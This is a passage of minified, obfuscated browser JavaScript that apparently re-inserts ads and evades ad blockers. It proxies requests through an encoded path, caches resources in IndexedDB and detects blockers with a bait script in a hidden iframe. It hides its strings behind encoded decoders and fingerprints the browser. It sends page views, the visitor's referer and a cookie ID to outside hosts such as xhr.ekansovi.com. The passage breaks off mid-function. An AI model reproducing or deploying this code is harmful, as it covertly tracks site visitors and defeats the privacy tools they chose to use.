| l.open(f, e, !0); | |
| l.responseType = "arraybuffer"; | |
| for (var p in g) | |
| g.hasOwnProperty(p) && (b(p) || | |
| l.setRequestHeader(p, g[p])); | |
| l.send(k) | |
| } | |
| ; | |
| a.prototype.$a = function(a) { | |
| var b = O.encode(a.url) | |
| , b = Ba.encode(b); | |
| return { | |
| url: "/wp?u=" + encodeURIComponent(b), | |
| method: a.method, | |
| headers: a.headers, | |
| body: a.body | |
| } | |
| } | |
| ; | |
| a.prototype.stream = function(a, b) { | |
| this.F.stream(this.$a(a), b) | |
| } | |
| ; | |
| a.prototype.fetch = function(a, b) { | |
| this.F.fetch(this.$a(a), b) | |
| } | |
| ; | |
| var t = { | |
| O: function(a, b) { | |
| return new l(new g(a,b)) | |
| }, | |
| bd: function(a, b) { | |
| return new l(new f(a,b)) | |
| }, | |
| cd: function(a, b, c, e) { | |
| return new l(new d(a,b,c,e)) | |
| }, | |
| na: function(a, b) { | |
| return new p(new c(a,b)) | |
| } | |
| }; | |
| t.Ob = a; | |
| return t | |
| }(); | |
| function wb(a, c) { | |
| this.F = a; | |
| this.ze = c; | |
| this.Ya = {}; | |
| this.ke = 10; | |
| this.Lb = []; | |
| this.Kb = null | |
| } | |
| wb.prototype.$a = function(a, c) { | |
| var b; | |
| c.tagName && (b = this.ga[c.tagName.toLowerCase()]); | |
| b = b || this.ga.other; | |
| a: { | |
| var d = a.url; | |
| var e = b; | |
| b = this.ze; | |
| if ("" == d || "//" == d || 0 === d.indexOf("#") || -1 < d.indexOf(window.currentHost)) | |
| d = null ; | |
| else { | |
| var f = d.toLowerCase() | |
| , g = "data: file: about: res: blob: mediasource: javascript:".split(" "); | |
| for (k in g) | |
| if (0 === f.indexOf(k)) { | |
| d = null ; | |
| break a | |
| } | |
| var k = oa(d, ""); | |
| k = k.replace("\\/", "/"); | |
| k = k.replace(/&/g, "&"); | |
| k = k.replace("http://", ""); | |
| k = k.replace("https://", ""); | |
| var h = "//" + k; | |
| if (e == this.ga.a || | |
| e == this.ga.open) | |
| d = null ; | |
| else { | |
| k = b[h]; | |
| if (!k) { | |
| var f = xb(h); | |
| f.la = f.pathname.split(";"); | |
| var g = {} | |
| , p = !1 | |
| , l = 19 | |
| , t = -1 != d.indexOf("//"); | |
| if (-1 < h.indexOf("/ddm")) | |
| d = !1; | |
| else { | |
| for (var u in b) | |
| if (b.hasOwnProperty(u)) { | |
| h = u; | |
| var q = b[u]; | |
| var v = q.ContentType; | |
| q.Data && 0 !== q.Data.length || (g[h] -= 50); | |
| q = xb(h); | |
| g[h] = 0; | |
| e === this.ga.iframe && -1 < v.indexOf("text/html") && (g[h] += 150); | |
| e === this.ga.img && -1 < v.indexOf("image") && (g[h] += 50); | |
| e === this.ga.script && -1 < v.indexOf("script") && (g[h] += 50); | |
| q.Fa === f.Fa && "" !== q.Fa && (g[h] += 10); | |
| if (q.domain === f.domain) { | |
| t && | |
| (q.hostname === f.hostname && (g[h] += 80), | |
| q.port === f.port && (g[h] += 10)); | |
| if (q.pathname === f.pathname && t) | |
| g[h] += 70; | |
| else { | |
| v = q.ka.length < f.ka.length ? q.ka.length : f.ka.length; | |
| for (var r = 0; r < v; r++) | |
| q.ka[r] === f.ka[r] && (t || -1 < d.indexOf(q.ka[r])) && (g[h] += 5) | |
| } | |
| if (-1 < q.pathname.indexOf(";")) | |
| for (q.la = q.pathname.split(";"), | |
| v = q.la.length < f.la.length ? q.la.length : f.la.length, | |
| r = 0; r < v; r++) | |
| q.la[r] === f.la[r] && (g[h] += 3); | |
| if ("?" !== q.search && "" !== q.search) | |
| for (var B in q.wa) | |
| q.wa.hasOwnProperty(B) && (B in f.wa ? (g[h] += 3, | |
| q.wa[B] === f.wa[B] && | |
| (g[h] += 5)) : --g[h]); | |
| g[h] > l ? (l = g[h], | |
| p = h) : g[h] === l && (l = g[h], | |
| p = !1) | |
| } | |
| } | |
| d = p | |
| } | |
| d && (this.Ya[d] = this.Ya[d] ? this.Ya[d] + 1 : 1, | |
| this.Ya[d] < this.ke && (k = b[d])) | |
| } | |
| d = k | |
| } | |
| } | |
| } | |
| if (!d || d.Remote) | |
| return null ; | |
| b = ca.ec(d.Data); | |
| d.Compression && (b = window.Nb.Ib(b)); | |
| return { | |
| body: b, | |
| headers: { | |
| "content-type": [d.ContentType] | |
| }, | |
| status: 200, | |
| contentType: d.ContentType, | |
| length: d.Data.length | |
| } | |
| } | |
| ; | |
| wb.prototype.stream = function(a, c) { | |
| this.F.stream(a, c) | |
| } | |
| ; | |
| wb.prototype.fetch = function(a, c) { | |
| if (-1 === a.url.indexOf("pixel.yabidos.com")) { | |
| var b = this.$a(a, c); | |
| if (b) { | |
| var d = a.url; | |
| 1024 < b.length || -1 < b.contentType.indexOf("javascript") || -1 < b.contentType.indexOf("video") || -1 < this.Lb.indexOf(d) || (this.Lb.push(d), | |
| this.Kb && this.Kb(d)); | |
| c.onsuccess(b) | |
| } else | |
| this.F.fetch(a, c) | |
| } | |
| } | |
| ; | |
| wb.prototype.ga = Object.freeze({ | |
| other: 0, | |
| iframe: 1, | |
| img: 2, | |
| script: 3, | |
| link: 4, | |
| a: 5, | |
| open: 6, | |
| xhr: 7 | |
| }); | |
| function xb(a) { | |
| 0 === a.indexOf("//") && (a = "http:" + a); | |
| var c = document.createElement("a"); | |
| c.setAttribute("href", a); | |
| a = c.hostname.lastIndexOf("."); | |
| if (3 === c.hostname.length - a) { | |
| var b = c.hostname.lastIndexOf(".", a - 1); | |
| if (b === a - 3 || b === a - 4) | |
| a = b | |
| } | |
| b = c.hostname.lastIndexOf(".", a - 1); | |
| -1 !== b && (a = b); | |
| c.domain = c.hostname.slice(a + 1); | |
| c.kf = c.hostname.slice(0, a); | |
| c.ka = c.pathname.replace(/\/\//g, "/").split("/"); | |
| c.Fa = c.pathname.split(".").pop(); | |
| c.Fa === c.pathname && (c.Fa = ""); | |
| c.wa = {}; | |
| if (0 < c.search.length) | |
| for (b = c.search.substr(1).split("&"), | |
| a = 0; a < b.length; a++) { | |
| var d = b[a].split("="); | |
| 0 < d.length && (c.wa[d[0]] = d[1]) | |
| } | |
| return c | |
| } | |
| function yb(a) { | |
| var c = "" + J("BmcJDjEBHTkcEEQOKh0=") | |
| , b = J("IXxWJBJVVm9QPF5XcUFyflxuRH9qQHZjSUp4FFNJQyJdfC5fFV5UEF9DXlt/Rw19KxFJcxZJd21DQARsKTZOVyJzXyZqKi1sXUFQXXNKfXRXFUF8YzV/bThCdW9RSkw=") | |
| , d = J("UXlcVA==") | |
| , e = J("BmcJDjEBHTkcEEQOKh0=") | |
| , f = J("HyEeSzUEDzgZFhwEaxMnKg==") | |
| , g = J("NR0vNTUKHBUFFwQIJgQhKAM=") | |
| , k = J("NR0vNjUcHT8FFy4INhM6Lh0gGik+") | |
| , h = J("NR0vLDMKLTcEHQMJJAQt") | |
| , p = J("MCwONj8MBTMe") | |
| , l = J("PwQgLSQbHgQPCB8INgQ="); | |
| a = { | |
| Oa: a[g] || window[g] || window[J("ECwODjkbPAIpKQ8INzMnKQMxEDI5HCs=")], | |
| Pa: a[k] || window[k], | |
| kb: a[h] || | |
| window[h], | |
| O: a[p] || window[p], | |
| na: a[l] || window[l], | |
| C: null , | |
| ua: !0 | |
| }; | |
| try { | |
| this.Tc = new S.cd(c,d,b,a) | |
| } catch (t) {} | |
| try { | |
| this.Uc = new S.bd(e,a) | |
| } catch (t) {} | |
| try { | |
| this.Vc = new S.na(f,a) | |
| } catch (t) {} | |
| this.xa = null | |
| } | |
| yb.prototype.fetch = function(a, c) { | |
| if (this.xa) | |
| this.xa.fetch(a, c); | |
| else { | |
| var b = []; | |
| zb(this, this.Uc, b, a, c); | |
| zb(this, this.Tc, b, a, c); | |
| zb(this, this.Vc, b, a, c); | |
| b.push(c.onerror); | |
| b.shift()() | |
| } | |
| } | |
| ; | |
| function zb(a, c, b, d, e) { | |
| c && b.push(function() { | |
| var f = e.onsuccess; | |
| e.onerror = function() { | |
| b.shift()() | |
| } | |
| ; | |
| e.onsuccess = function(b) { | |
| a.xa || (a.xa = c); | |
| f(b) | |
| } | |
| ; | |
| try { | |
| c.fetch(d, e) | |
| } catch (g) { | |
| b.shift()() | |
| } | |
| }) | |
| } | |
| yb.prototype.stream = function(a, c) { | |
| if (this.xa) | |
| this.xa.stream(a, c); | |
| else { | |
| var b = []; | |
| Ab(this.Uc, b, a, c); | |
| Ab(this.Tc, b, a, c); | |
| Ab(this.Vc, b, a, c); | |
| b.push(c.onerror); | |
| b.shift()() | |
| } | |
| } | |
| ; | |
| function Ab(a, c, b, d) { | |
| a && c.push(function() { | |
| d.onerror = function() { | |
| c.shift()() | |
| } | |
| ; | |
| try { | |
| a.stream(b, d) | |
| } catch (e) { | |
| c.shift()() | |
| } | |
| }) | |
| } | |
| S.Zc = function() { | |
| function a(a, b) { | |
| this.db = a; | |
| this.F = b; | |
| this.Ja = {}; | |
| setTimeout(this.nc.bind(this, null ), 3E4) | |
| } | |
| a.open = function(c, b, d) { | |
| if (window.indexedDB) { | |
| var e = indexedDB.open("J7bhwj9e", 2); | |
| e.onerror = function() { | |
| d(null ) | |
| } | |
| ; | |
| e.onsuccess = function() { | |
| var c = new a(this.result,b); | |
| d(c) | |
| } | |
| ; | |
| e.onupgradeneeded = function() { | |
| var a = e.result; | |
| a.createObjectStore("resources", { | |
| keyPath: "url" | |
| }); | |
| var b = a.createObjectStore("meta", { | |
| keyPath: "url" | |
| }); | |
| b.createIndex("size", "size"); | |
| b.createIndex("lastUsed", "lastUsed"); | |
| b.createIndex("expiryDate", | |
| "expiryDate"); | |
| a.createObjectStore("dbmeta", { | |
| keyPath: "key" | |
| }).add({ | |
| key: "usage", | |
| value: 0 | |
| }) | |
| } | |
| } else | |
| d(null ) | |
| } | |
| ; | |
| a.Ne = function(c) { | |
| var b = !1 | |
| , d = {} | |
| , e = [] | |
| , f = null ; | |
| d.stream = function(a, c) { | |
| if (b) | |
| return f.stream(a, c); | |
| e.push({ | |
| method: "stream", | |
| wd: null , | |
| request: a, | |
| options: c | |
| }) | |
| } | |
| ; | |
| d.fetch = function(a, c) { | |
| if (b) | |
| return f.fetch(a, c); | |
| e.push({ | |
| method: "fetch", | |
| wd: null , | |
| request: a, | |
| options: c | |
| }) | |
| } | |
| ; | |
| a.open(null , c, function(a) { | |
| f = null != a ? a : c; | |
| b = !0; | |
| for (a = 0; a < e.length; a++) { | |
| var d = e[a]; | |
| "stream" == d.method ? f.stream(d.request, d.options) : f.fetch(d.request, d.options) | |
| } | |
| e = | |
| null | |
| }); | |
| return d | |
| } | |
| ; | |
| a.prototype.clear = function(a, b) { | |
| var c = this.db.transaction(["resources", "meta", "dbmeta"], "readwrite"); | |
| c.oncomplete = function() { | |
| b && b(!0) | |
| } | |
| ; | |
| c.onerror = function() { | |
| b && b(!1) | |
| } | |
| ; | |
| c.objectStore("resources").clear(); | |
| c.objectStore("meta").clear(); | |
| c.objectStore("dbmeta").clear(); | |
| c.objectStore("dbmeta").put({ | |
| key: "usage", | |
| value: 0 | |
| }) | |
| } | |
| ; | |
| a.prototype.ud = function(a) { | |
| var b = this.db.transaction(["resources", "meta", "dbmeta"], "readwrite"); | |
| b.oncomplete = function() { | |
| a() | |
| } | |
| ; | |
| b.onerror = function() { | |
| a() | |
| } | |
| ; | |
| var c = b.objectStore("dbmeta"); | |
| c.get("usage").onsuccess = function() { | |
| function a() { | |
| g = Math.min(1, Math.max(0, d / 39E6)); | |
| k = 8639E4 * (1 - g) + 1E4 | |
| } | |
| var d = this.result.value, g, k; | |
| a(); | |
| var h = (new Date).getTime(); | |
| b.objectStore("meta").index("lastUsed").openCursor(null , "next").onsuccess = function() { | |
| if (null != this.result) { | |
| var e = this.result | |
| , f = e.value; | |
| if (h - f.Bc >= k || h >= f.ic) { | |
| var g = f.url; | |
| e["delete"](); | |
| b.objectStore("resources")["delete"](g); | |
| d -= f.size; | |
| a() | |
| } | |
| e["continue"]() | |
| } else | |
| c.put({ | |
| key: "usage", | |
| value: d | |
| }) | |
| } | |
| } | |
| } | |
| ; | |
| a.prototype.nc = function(a) { | |
| var b = this; | |
| this.ud(function() { | |
| setTimeout(b.nc.bind(b, | |
| a), 3E5) | |
| }) | |
| } | |
| ; | |
| a.prototype.pe = function(a) { | |
| var b = -1; | |
| a = a.split(","); | |
| for (var c = 0; c < a.length; c++) { | |
| attr = a[c].replace(/^\s+|\s+$/g, ""); | |
| if (0 <= ["no-cache", "no-store"].indexOf(attr)) | |
| return 0; | |
| result = /^max-age=(\d+)$/.exec(attr); | |
| null != result && (b = parseInt(result[1])) | |
| } | |
| return b | |
| } | |
| ; | |
| a.prototype.oc = function(a) { | |
| var b = -1; | |
| a["cache-control"] && 1 <= a["cache-control"].length && (b = this.pe(a["cache-control"][0])); | |
| -1 == b && (b = 604800); | |
| return 1E3 * b | |
| } | |
| ; | |
| a.prototype.Qe = function(a) { | |
| var b = this.db.transaction(["meta"], "readwrite").objectStore("meta"); | |
| b.get(a).onsuccess = function() { | |
| if (null != this.result) { | |
| var a = this.result; | |
| a.Bc = (new Date).getTime(); | |
| b.put(a) | |
| } | |
| } | |
| } | |
| ; | |
| a.prototype.query = function(a, b) { | |
| var c = this | |
| , e = null | |
| , f = this.db.transaction(["resources", "meta"]); | |
| f.oncomplete = function() { | |
| b(e) | |
| } | |
| ; | |
| f.onerror = function() { | |
| b(null ) | |
| } | |
| ; | |
| f.objectStore("meta").get(a.url).onsuccess = function() { | |
| var b = this.result; | |
| null == b || (new Date).getTime() >= b.ic || (c.Qe(a.url), | |
| f.objectStore("resources").get(a.url).onsuccess = function() { | |
| e = this.result.response | |
| } | |
| ) | |
| } | |
| ; | |
| a.onerror = function() {} | |
| } | |
| ; | |
| a.prototype.Qc = | |
| function(a, b, d) { | |
| var c = this.db.transaction(["resources", "meta", "dbmeta"], "readwrite"); | |
| c.oncomplete = function() {} | |
| ; | |
| c.onerror = function() {} | |
| ; | |
| var f = c.objectStore("resources") | |
| , g = c.objectStore("meta") | |
| , k = c.objectStore("dbmeta"); | |
| g.get(a).onsuccess = function() { | |
| var e = 0; | |
| null != this.result && (e = this.result.size); | |
| var p = b.body.byteLength; | |
| f.put({ | |
| url: a, | |
| response: b | |
| }); | |
| var l = (new Date).getTime(); | |
| g.put({ | |
| url: a, | |
| size: b.body.byteLength, | |
| ic: l + d, | |
| Bc: l | |
| }); | |
| k.get("usage").onsuccess = function() { | |
| var a = this.result.value | |
| , a = a - e + p; | |
| 39E6 < a ? c.abort() : | |
| k.put({ | |
| key: "usage", | |
| value: a | |
| }) | |
| } | |
| } | |
| } | |
| ; | |
| a.prototype.stream = function(a, b) { | |
| var c = this; | |
| if (a.method && "GET" != a.method) | |
| c.F.stream(a, b); | |
| else { | |
| var e = function() { | |
| var d = {}, e; | |
| for (e in b) | |
| b.hasOwnProperty(e) && (d[e] = b[e]); | |
| var k = new ArrayBuffer(0) | |
| , h = null ; | |
| d.Za = function(a) { | |
| h = a; | |
| b.Za && b.Za(a) | |
| } | |
| ; | |
| d.onprogress = function(a) { | |
| var c = new Uint8Array(k.byteLength + a.byteLength); | |
| c.set(new Uint8Array(k), 0); | |
| c.set(new Uint8Array(a), k.byteLength); | |
| k = c.buffer; | |
| b.onprogress && b.onprogress(a) | |
| } | |
| ; | |
| d.onsuccess = function() { | |
| if (200 <= h.status && 300 > h.status) { | |
| var d = | |
| c.oc(h); | |
| if (0 < d && 1 <= k.byteLength) { | |
| var e = {}, f; | |
| for (f in h) | |
| h.hasOwnProperty(f) && (e[f] = h[f]); | |
| e.body = k; | |
| c.Qc(a.url, e, d) | |
| } | |
| } | |
| b.onsuccess && b.onsuccess() | |
| } | |
| ; | |
| d.onerror = function() { | |
| b.onerror && b.onerror() | |
| } | |
| ; | |
| c.F.stream(a, d) | |
| } | |
| ; | |
| this.query(a, function(a) { | |
| if (null != a) { | |
| var c = a.body; | |
| delete a.body; | |
| b.Za && b.Za(a); | |
| b.onprogress && b.onprogress(c); | |
| b.onsuccess && b.onsuccess() | |
| } else | |
| e() | |
| }) | |
| } | |
| } | |
| ; | |
| a.prototype.fetch = function(a, b) { | |
| var c = this; | |
| if (a.method && "GET" != a.method) | |
| c.F.fetch(a, b); | |
| else { | |
| var e = function() { | |
| if (c.Ja.hasOwnProperty(a.url)) | |
| c.Ja[a.url].bc.push(b); | |
| else { | |
| c.Ja[a.url] = { | |
| bc: [b] | |
| }; | |
| var d = {}, e; | |
| for (e in b) | |
| b.hasOwnProperty(e) && (d[e] = b[e]); | |
| var k = function(a, b) { | |
| callbacks = c.Ja[a].bc; | |
| for (var d = 0; d < callbacks.length; d++) | |
| b(callbacks[d]); | |
| delete c.Ja[a] | |
| } | |
| ; | |
| d.onsuccess = function(b) { | |
| if (200 <= b.status && 300 > b.status) { | |
| var d = c.oc(b); | |
| 0 < d && 1 <= b.body.byteLength && c.Qc(a.url, b, d) | |
| } | |
| k(a.url, function(a) { | |
| a.onsuccess && a.onsuccess(b) | |
| }) | |
| } | |
| ; | |
| d.onerror = function(b) { | |
| k(a.url, function(a) { | |
| a.onerror && a.onerror(b) | |
| }) | |
| } | |
| ; | |
| c.F.fetch(a, d) | |
| } | |
| } | |
| ; | |
| c.query(a, function(a) { | |
| null != a ? b.onsuccess && b.onsuccess(a) : e() | |
| }) | |
| } | |
| } | |
| ; | |
| return a | |
| }(); | |
| function Bb(a) { | |
| var c = this; | |
| this.Va = a; | |
| this.ma = null ; | |
| (a = a["1ec17f9f"]) || (a = ma()); | |
| this.ma = new yb(a); | |
| Cb() && (this.ac = S.Zc.Ne(this.ma)); | |
| this.ma && new S.Ob(this.ma); | |
| Db(function(a) { | |
| c.Va.b858c19c = a[U][U] | |
| }); | |
| this.K = void 0; | |
| this.Ka = this.ab = "xhr.ekansovi.com"; | |
| window.c1af046982818dff || (window.c1af046982818dff = x(5, 7)); | |
| this["2eb4f129"] = 4E3; | |
| this["3477ad3c"] = 6E3; | |
| this.U = {}; | |
| this.U.cb = window.c1af046982818dff | |
| } | |
| function V(a, c) { | |
| var b = m["5b005c43"]; | |
| for (d in b.U) | |
| b.U.hasOwnProperty(d) && (a[d] = b.U[d]); | |
| var d = !1 === b.K ? W("report", a, b.ab) : W("re", a, b.ab); | |
| c || Y(b, d) | |
| } | |
| function W(a, c, b) { | |
| 5 >= b.indexOf("://") && -1 !== b.indexOf("://") || (b = "https://" + b); | |
| var d = ""; | |
| b && (d += b + "/"); | |
| d += a + "?"; | |
| c.cb = "rt" === a || "ejs" === a || "rte" === a ? void 0 : x(5, 7); | |
| for (var e in c) | |
| c.hasOwnProperty(e) && void 0 !== c[e] && (a = "e" === e ? m.aafba60f.encode(c[e]) : c[e], | |
| d += "&" + e + "=" + a); | |
| return d.replace("?&", "?") | |
| } | |
| function Y(a, c, b, d, e, f) { | |
| c = /.*(\/\w+\?.*)/i.exec(c)[1]; | |
| var g = document.location.href | |
| , k = {}; | |
| k["Accept-Language"] = [Eb()]; | |
| k.referer = [g]; | |
| (g = (g = a.Va.b858c19c) ? g.substr(0, g.indexOf(";")) : g) && (k.cookie = ["NID=" + g]); | |
| c = { | |
| url: c, | |
| headers: k | |
| }; | |
| b && (c.body = O.encode(JSON.stringify(b)), | |
| c.method = "POST"); | |
| b = a.ma; | |
| Cb() && f && (b = a.ac); | |
| b.fetch(c, { | |
| onsuccess: function(a) { | |
| var b = ja.decode(a.body); | |
| 400 <= a.status ? e && e(Error("invalid status: " + a.status)) : d && d(b, a) | |
| }, | |
| onerror: function(a) { | |
| e && e(a) | |
| } | |
| }) | |
| } | |
| function Fb(a, c, b) { | |
| var d = m["5b005c43"] | |
| , e = {}; | |
| e.referer = [document.location.href]; | |
| e["if-none-match"] = ['"' + a + '"']; | |
| d.ma.fetch({ | |
| url: "/ejs?p=1416070001", | |
| headers: e | |
| }, { | |
| onsuccess: function(a) { | |
| 304 === a.status ? c(null ) : 200 === a.status ? (a = ja.decode(a.body), | |
| c(a)) : b(Error("bad resp")) | |
| }, | |
| onerror: function(a) { | |
| b && b(a) | |
| } | |
| }) | |
| } | |
| function Gb() { | |
| var a = m["5b005c43"] | |
| , c = W("pv", a.U, a.ab); | |
| Y(a, c) | |
| } | |
| function Hb(a, c) { | |
| var b = m["5b005c43"]; | |
| 0 != c.length && Y(b, "/vp?i=" + a, c) | |
| } | |
| function Ib(a) { | |
| function c(a, c) { | |
| if (c && c.headers) { | |
| var d = c.headers["set-cookie"] || c.headers["Set-Cookie"]; | |
| if (d) { | |
| d = d[0]; | |
| d = d.substring(d.indexOf("=") + 1); | |
| b.Va.b858c19c = d; | |
| var e = {}; | |
| e[Jb] = ""; | |
| var f = {}; | |
| f[U] = d; | |
| f[Z] = z(); | |
| f[Kb] = 31556926; | |
| e[U] = f; | |
| Lb(e, m.a099bd61.ib) | |
| } | |
| } | |
| } | |
| var b = m["5b005c43"]; | |
| b.K = a; | |
| var d = { | |
| uwsm: !1 | |
| }; | |
| a = W("cf", d, b.Ka); | |
| Y(b, a, void 0, c, function() { | |
| var a = W("cf", d, b.Ka); | |
| Y(b, a, void 0, c, function() {}) | |
| }) | |
| } | |
| function Eb() { | |
| var a = navigator.languages; | |
| if (a) { | |
| var c = 9; | |
| if (2 > a.length) | |
| return a[0] + ";q=0." + c; | |
| for (var b = a[0], d = 1; d < a.length && 0 != c; d++) | |
| b += "," + a[d] + ";q=0." + c--; | |
| return b | |
| } | |
| return navigator.language | |
| } | |
| function Mb() { | |
| this.vb = J("AjEcCT8dCyQ="); | |
| this.Wd = J("CjoFAA=="); | |
| this.Ua = J("Ai0LAA=="); | |
| this.pb = J("BCEeCj0K"); | |
| this.kc = J("ASAeADYAFg=="); | |
| this.Ae = J("FCgKBCIG"); | |
| this.Oe = J("EioOFz8YHTMY") | |
| } | |
| function Ob() { | |
| return F(J("CiYWJj8BGjcJDQ==")) || F(J("CiYWLD4BCyQ5GhgIIB4Q")) || F(J("CiYWNTEGACIpFh8DMQ==")) || F(J("CiYWNwQsJzUPOgsDIRksJhkx")) | |
| } | |
| function Pb() { | |
| return J("CjovFzULCzgeEAsBNg==") in window || J("CjolFhkBCjMaHAQJIB48KxQXHCsgHDY8HQ==") in console || J("CCcBFjkBCyQeEAseMRE6Mw==") in window | |
| } | |
| function Qb() { | |
| return F(J("EiobADI=")) || F(J("EioHACk=")) || F(J("MgotATQAABwLDws=")) || F(J("EioNFTk=")) | |
| } | |
| function Rb(a) { | |
| var c = navigator.userAgent | |
| , b = c.match(/(opera|chrome|safari|firefox|msie|trident(?=\/))\/?\s*(\d+)/i) || []; | |
| if (-1 < c.toLowerCase().indexOf(a.Ua)) | |
| return a.Ua; | |
| if (/trident/i.test(b[1])) { | |
| var d = /\brv[ :]+(\d+)/g.exec(c) || []; | |
| return a.vb + " " + (d[1] || "") | |
| } | |
| if (b[1] === a.pb && (d = c.match(/\b(OPR|Edge)\/(\d+)/), | |
| null != d)) | |
| return d.slice(1).join(" ").replace("OPR", "Opera"); | |
| b = b[2] ? [b[1], b[2]] : [navigator.appName, navigator.appVersion, "-?"]; | |
| null != (d = c.match(/version\/(\d+)/i)) && b.splice(1, 1, d[1]); | |
| return b.join(" ").toLowerCase() | |
| } | |
| function Sb(a) { | |
| try { | |
| if (Ob()) | |
| return a.kc; | |
| if (Pb()) | |
| return a.vb; | |
| if (Pb() && -1 < navigator.userAgent.toLowerCase().indexOf(a.Ua)) | |
| return a.Ua; | |
| if (Qb()) | |
| return a.Oe; | |
| if (F(J("FCgKBCIG"))) | |
| return a.Ae; | |
| if (F(J("ECwODjkbPDMZFgYbIDwnJAw4NS88FhYgCgwnOz4hOA=="))) | |
| return a.pb | |
| } catch (c) {} | |
| try { | |
| return Rb(a) | |
| } catch (c) { | |
| return !1 | |
| } | |
| } | |
| function Tb() { | |
| var a = m["1f036911"]; | |
| return /Android|webOS|Mobile|iPhone|iPad|iPod|BlackBerry/i.test(navigator.userAgent) || 800 > window.innerWidth || "ucbrowser" === Sb(a) | |
| } | |
| function Ub() { | |
| this.Ba = this.K = void 0; | |
| this.H = J; | |
| this.Od = J("Dz0YFSNVQXkLHUQJKgUqKwg3Hy8zGGs3HAxtMAoFHQAIJ0IMMwBRNw5EWV11CHpyXXISIg8RKiEmRXNwChcaBhN0XUMjBwEhCx1XXGMDIT0IaUFzYAt3bEk="); | |
| this.nd = "c2ad6110"; | |
| this.od = "d46ecdaf" | |
| } | |
| function Vb(a, c) { | |
| var b = m["538135f1"]; | |
| if (!b.Z) { | |
| var d = function() { | |
| if (!b.Z && !b.Ge) { | |
| b.Ge = !0; | |
| var d = document.createElement(b.H("Di8eBD0K")); | |
| d.src = "about:blank"; | |
| K(m["10785708"], d, b.H("ECAIETg="), b.H("VjkU")); | |
| K(m["10785708"], d, b.H("DywFAjgb"), b.H("VjkU")); | |
| K(m["10785708"], d, b.H("ESAfDDIGAj8eAA=="), b.H("DyAIATUB")); | |
| K(m["10785708"], d, b.H("BSYeATUd"), b.H("VzkU")); | |
| K(m["10785708"], d, b.H("AyAfFTwOFw=="), b.H("CSYCAA==")); | |
| L(window, b.H("CiwfFjEICw=="), function(e) { | |
| try { | |
| e = e || event | |
| } catch (k) { | |
| return | |
| } | |
| if (e.origin.split("/")[2].replace("www.", | |
| "").split(":")[0] === window.location.hostname.replace("www.", "") || "null" === e.origin) { | |
| if (b.nd === e.data) { | |
| if (b.Z) | |
| return; | |
| setTimeout(function() { | |
| try { | |
| d.parentElement.removeChild(d) | |
| } catch (k) {} | |
| }, 0); | |
| b.Z = !0; | |
| b.K = !0; | |
| a() | |
| } | |
| b.od !== e.data || b.Z || (setTimeout(function() { | |
| try { | |
| d.parentElement.removeChild(d) | |
| } catch (k) {} | |
| }, 0), | |
| b.Z = !0, | |
| b.K = !1, | |
| c()) | |
| } | |
| }); | |
| L(d, "load", function() { | |
| d.Md || (d.Md = !0, | |
| d.contentDocument.open(), | |
| d.contentDocument.write(m.aafba60f.decode("PGh0bWw+PGhlYWQ+PHNjcmlwdD4oZnVuY3Rpb24oKSB7ZnVuY3Rpb24gYyhiLCBhLCBkLCBjKSB7Yi5hZGRFdmVudExpc3RlbmVyID8gYi5hZGRFdmVudExpc3RlbmVyKGEsIGQsIGMpIDogKGIuYXR0YWNoRXZlbnQgJiYgYi5hdHRhY2hFdmVudCgib24iICsgYSwgZCksIGJbYV0gPWQsYlsib24iK2FdPWQpO31mdW5jdGlvbiBlKCkge3BhcmVudC5wb3N0TWVzc2FnZSgiYzJhZDYxMTAiLCAiKiIpO312YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO2Euc3JjID0gImh0dHBzOi8vcGFnZWFkMi5nb29nbGVzeW5kaWNhdGlvbi5jb20vcGFnZWFkL2pzL2xpZGFyLmpzP2Fkc2l6ZT0zMDB4MjUwIjtjKGEsICJsb2FkIiwgZnVuY3Rpb24oKSB7dm9pZCAwID09PSB3aW5kb3cuX19nb29nbGVfbGlkYXJfID8gZSgpIDogcGFyZW50LnBvc3RNZXNzYWdlKCJkNDZlY2RhZiIsICIqIik7fSwhMSk7LTE8ZG9jdW1lbnQuY29va2llLmluZGV4T2YoIl9fY2RuIik/cGFyZW50LnBvc3RNZXNzYWdlKCIxMTExIiwiKiIpOihjKGEsImVycm9yIixlLCExKSxkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuYXBwZW5kQ2hpbGQoYSkpO30pKCk7PC9zY3JpcHQ+PC9oZWFkPjxib2R5PjwvYm9keT48L2h0bWw+")), | |
| d.contentDocument.close()) | |
| }); | |
| (window.document.body || window.document.documentElement).appendChild(d) | |
| } | |
| } | |
| ; | |
| try { | |
| (function() { | |
| if (b.Z) | |
| return !1; | |
| var c = document.createElement(b.H("DiQL")); | |
| c.src = b.Od; | |
| L(c, b.H("CyYNAQ=="), function() { | |
| b.Z || (setTimeout(function() { | |
| try { | |
| c.parentElement.removeChild(c) | |
| } catch (g) {} | |
| }, 0), | |
| d()) | |
| }); | |
| L(c, b.H("AjseCiI="), function() { | |
| b.Z || (setTimeout(function() { | |
| try { | |
| c.parentElement.removeChild(c) | |
| } catch (g) {} | |
| }, 0), | |
| b.Z = !0, | |
| b.K = !0, | |
| a()) | |
| }); | |
| K(m["10785708"], c, b.H("AyAfFTwOFw=="), b.H("CSYCAA=="), b.H("DiQcCiIbDzge")); | |
| (window.document.body || window.document.documentElement).appendChild(c) | |
| })(), | |
| Qb() && d() | |
| } catch (f) { | |
| var e = { | |
| a: 17 | |
| }; | |
| e.e = f; | |
| V(e) | |
| } | |
| } | |
| } | |
| function Wb() { | |
| this.ya = m.aafba60f.encode(J("26b796a8", !1)).substr(0, 6); | |
| this.ib = m.aafba60f.encode(J("93d9f206", !1)).substr(0, 6); | |
| this.Na = m.aafba60f.encode(J("28000348", !1)).substr(0, 6); | |
| this.Wc = m.aafba60f.encode(J("126ea2ca", !1)).substr(0, 6); | |
| this.Xc = m.aafba60f.encode(J("607b625f", !1)).substr(0, 6); | |
| this.Td = [this.ya, this.Na, this.Wc, this.Xc, this.ib]; | |
| this.he = []; | |
| this.J = {}; | |
| this.ba = {}; | |
| Xb(this) | |
| } | |
| var U = "74cb23bd" | |
| , Jb = "22706ef0" | |
| , Z = "4e81075f" | |
| , Kb = "44f772eb"; | |
| function Xb(a) { | |
| var c = [], b = va(), d = ua(), e; | |
| for (e in b) | |
| b.hasOwnProperty(e) && (d[e] = b[e]); | |
| for (e in d) | |
| if (d.hasOwnProperty(e)) { | |
| try { | |
| if (a.Ze) | |
| var f = n.c6de1fb3(d[e]); | |
| else { | |
| var g = d[e].substr(d[e].length - 6, d[e].length); | |
| if (-1 === a.Td.indexOf(g)) | |
